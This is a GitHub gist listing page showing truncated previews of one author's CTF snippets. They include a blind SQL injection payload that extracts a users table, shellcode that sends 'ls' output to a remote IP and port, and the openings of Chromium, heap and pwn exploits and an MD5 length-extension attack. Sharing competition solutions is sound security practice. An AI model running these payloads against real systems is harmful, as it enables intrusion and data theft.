Skip to content

Instantly share code, notes, and snippets.

View ptr-yudai's full-sized avatar

Yudai ptr-yudai

  • Japan
View GitHub Profile
@ptr-yudai
ptr-yudai / exploit.js
Created June 29, 2020 03:50
0CTF/TCTF 2020 Quals - Chromium RCE
/**
* Utils
*/
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
@ptr-yudai
ptr-yudai / exploit.py
Created April 12, 2020 22:04
prison heap hard
from ptrlib import *
def new(size, data):
sock.sendlineafter("Exit\n", "1")
sock.recvline()
sock.sendline(str(size))
sock.recvline()
sock.sendline(data)
def delete(index):
@ptr-yudai
ptr-yudai / solve.py
Created September 15, 2019 01:09
babysql solution
#!/usr/bin/env python
import requests
import json
data = ''
for j in range(7, 0x100):
i = 0
while i < 8:
payload = {
'limit': "(SELECT (ASCII(SUBSTRING((SELECT users::text FROM users LIMIT 1 OFFSET 4),{},1)) >> {}) & 1)".format(j, i)
@ptr-yudai
ptr-yudai / exploit.asm
Created December 24, 2018 14:40
Send the result of `ls` to 192.168.204.6:4444
; Socket
mov al, 41
push 2
pop rdi
push 1
pop rsi
cdq
syscall
; Connect
xchg edi, eax
@ptr-yudai
ptr-yudai / lenxpand.py
Last active August 28, 2018 15:30
Length Extension Attack against MD5 (Python2)
# coding: utf-8
import struct
#
# MD5
#
def md5hex(message, iv=(0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476), prevlen=0):
A, B, C, D = md5(message, iv, prevlen)
md5sum = struct.pack('<I', A)
md5sum += struct.pack('<I', B)
@ptr-yudai
ptr-yudai / service.py
Created August 28, 2018 12:44
研究室内CTFで出題したCrypto問題のサービス
#!/usr/bin/python
import hashlib
import base64
import re
from secret import FLAG, SALT
def construct(data):
ret = {}
regs = data.split('|')
for reg in regs:
@ptr-yudai
ptr-yudai / record.py
Created March 29, 2017 14:04
[LINUX] Voice Recorder for TOEFL Speaking Test
# Simple Voice Recorder for TOELF Speaking Test
# Usage:
# python record.py [output.wav]
# Requirement:
# Python 2, arecord (often pre-installed on linux)
# What does this program do?
# First, this program will wait 15 seconds, which is the same length given in the TEFL test for preparing your answer.
# Second, arecord will begin to record your voice for 45 seconds in which you need to answer the question.
# After that, the recorded voice will be saved as a wav file.
# Optionally, you can listen to the recorded voice after your answer.
@ptr-yudai
ptr-yudai / calc.l
Created December 22, 2016 13:25
きつねさんとLLVMで作った電卓2
%{
#include <stdio.h>
#include "y.tab.h"
int yywrap(void) { return 1; }
%}
%%
"+" return OPERATOR_ADD;
"-" return OPERATOR_SUB;
"*" return OPERATOR_MUL;
@ptr-yudai
ptr-yudai / Makefile
Created December 22, 2016 13:05
きつねさんとLLVMで作った電卓
# calc.binを出力するコマンド
calc.bin: y.tab.c lex.yy.c # 下のコマンドに必要なファイル
cc -o calc.bin y.tab.c lex.yy.c
# y.tab.cを出力するコマンド
y.tab.c: calc.y # 下のコマンドに必要なファイル
yacc -dv calc.y
# lex.yy.cを出力するコマンド
lex.yy.c: calc.l # 下のコマンドに必要なファイル
@ptr-yudai
ptr-yudai / tp_exploit.py
Created August 28, 2016 15:21
tp - Pwn - katagaitaiCTF#5 関西med
from pwn import *
class tp:
#
# Constructor
#
def __init__(self, host, port):
# Connect to server
self.sock = remote(host, port)
# List of commands